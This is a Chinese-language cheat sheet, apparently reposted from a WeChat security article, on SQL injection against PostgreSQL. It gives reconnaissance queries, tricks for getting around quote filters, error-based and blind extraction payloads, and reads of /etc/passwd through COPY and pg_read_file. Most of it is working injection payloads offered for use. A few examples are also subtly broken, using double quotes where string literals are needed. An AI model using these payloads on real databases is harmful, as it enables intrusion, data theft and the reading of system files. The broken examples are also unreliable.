Postgresql 注入總結

常用語句

// 查詢當前數據庫
select current_database();

// 查詢當前用戶
select current_user;

// 查詢當前版本
select version();

// 查詢數據庫版本
SELECT current_setting('server_version_num');

//查看當前權限
select CURRENT_SCHEMA()        

//查詢表數據大小
select pg_size_pretty(pg_indexes_size('users'));


// 查詢所有數據庫
SELECT datname FROM pg_database WHERE datistemplate = false;
select schema_name from information_schema.schemata

// 查詢當前數據庫中的所有表
select * from pg_tables where schemaname = 'public';
// 這裏的information_schema 是個視圖,並不真實存在這個庫
select table_name from information_schema.tables where table_schema='public';


// 查詢列名
select column_name from information_schema.columns where table_name='表名';

特性

|| 是字符串拼接

select 1||2;

"" 雙引號包裹爲列名 而不是字符串

select "username" from users

支持的比較運算符還包括in 、not in、 exists 、 not exists is

select username from users where username in ("admin")

// 判斷查詢的結果是否有結果
select exists (select * from users where username='') 

select (1=1) is true

# 不是註釋符號 而是運算符號bitwise XOR

select 1#2

支持的註釋符號 /**/ --

PostgreSQL 允許” 逃逸” 字符串

PostgreSQL 還允許 “逃逸” 字符串中的內容,這是一個 PostgreSQL 對 SQL 標準的擴展。逃逸字符串語法是通過在字符串前寫字母 E(大寫或者小寫) 的方法聲明的。比如 E'foo' 。當需要續行包含逃逸字符的字符串時,僅需要在第一行的開始引號前寫上 E 就可以了。逃逸字符串使用的是 C - 風格的反斜槓 (\) 逃逸:\b(退格)、\f(進紙)、\n(換行)、\r(回車)、\t(水平製表符)。此外還支持 \*digits* 格式的逃逸字符 (這裏的 *digits* 是一個八進制字節數值),以及 \x*hexdigits* 格式的逃逸字符 (這裏的*hexdigits* 代表十六進制字節值)。你創建的字節序列是否是服務器的字符集編碼能接受的正確字符,是你自己的責任。任何其它跟在反斜槓後面的字符都當做文本看待。因此,要在字符串常量裏包含反斜槓,則寫兩個反斜槓 (\\)。另外,PostgreSQL 允許用一個反斜槓來逃逸單引號 (\'),不過,將來版本的 PostgreSQL 將不允許這麼用。所以最好堅持使用符合標準的 '' 。

// 八進制
select E'\167\150\157\141\155\151'

// 十六進制
select E'\x77\x68\x6f\x61\x6d\x69'

字符串邊界界定符號 (可以繞過無單引號的情況)

select $$Dianne's horse$$

加解密函數

md5()
encode('111','base64')
encode('111','hex')

類型轉化

postgresql 要求查詢的時候 類型要一致否則會報錯

如下 利用::

常用的數據類型有

字符類型 text、varchar、char

數字類型 int(int4) 、 decimal(numeric) 、bigint(int8)、smallint(int2) 、real、double

布爾類型 boolean

時間類型 timestamp 、 date 、time 、interval

select 1::varchar union select 'a'

利用 函數進行轉換

select CAST('5' as char)

利用函數轉換

select to_char(1234,'999')
select to_date(text, text)
select to_number('12,454.8-', '99G999D9S')

獲取正在查詢的語句

select current_query()
select query from pg_stat_activity where datname='xx' and state ='active'

報錯盲注

手段挺多的只要讓運行時報錯即可

// 類型轉換
select case when( ascii(substring((select version()),1,1))=1 ) then 1 else (select 'aaa')::int end;

// 溢出
select exp((select case when( (select 1)=1  ) then 1 else 777 end))

// 1/0
select 1/(select case when( ascii(substring((select version()),1,1))>1 ) then 1 else 0 end)

報錯注入

利用了類型轉化來進行報錯注入

select cast((select version()) as numeric)

select CAST(('zzzz'||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||'zzz') AS NUMERIC)

無列名注入

同其他 sql 語言

select b from (select null, null b, null union select * from users)

讀文件

copy table(column) from '/etc/passwd'

select pg_read_file("/etc/passwd");

作者:BY,文章來源:http://diego.team/

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/9irHwVI8WpsBUTtrS6gZTQ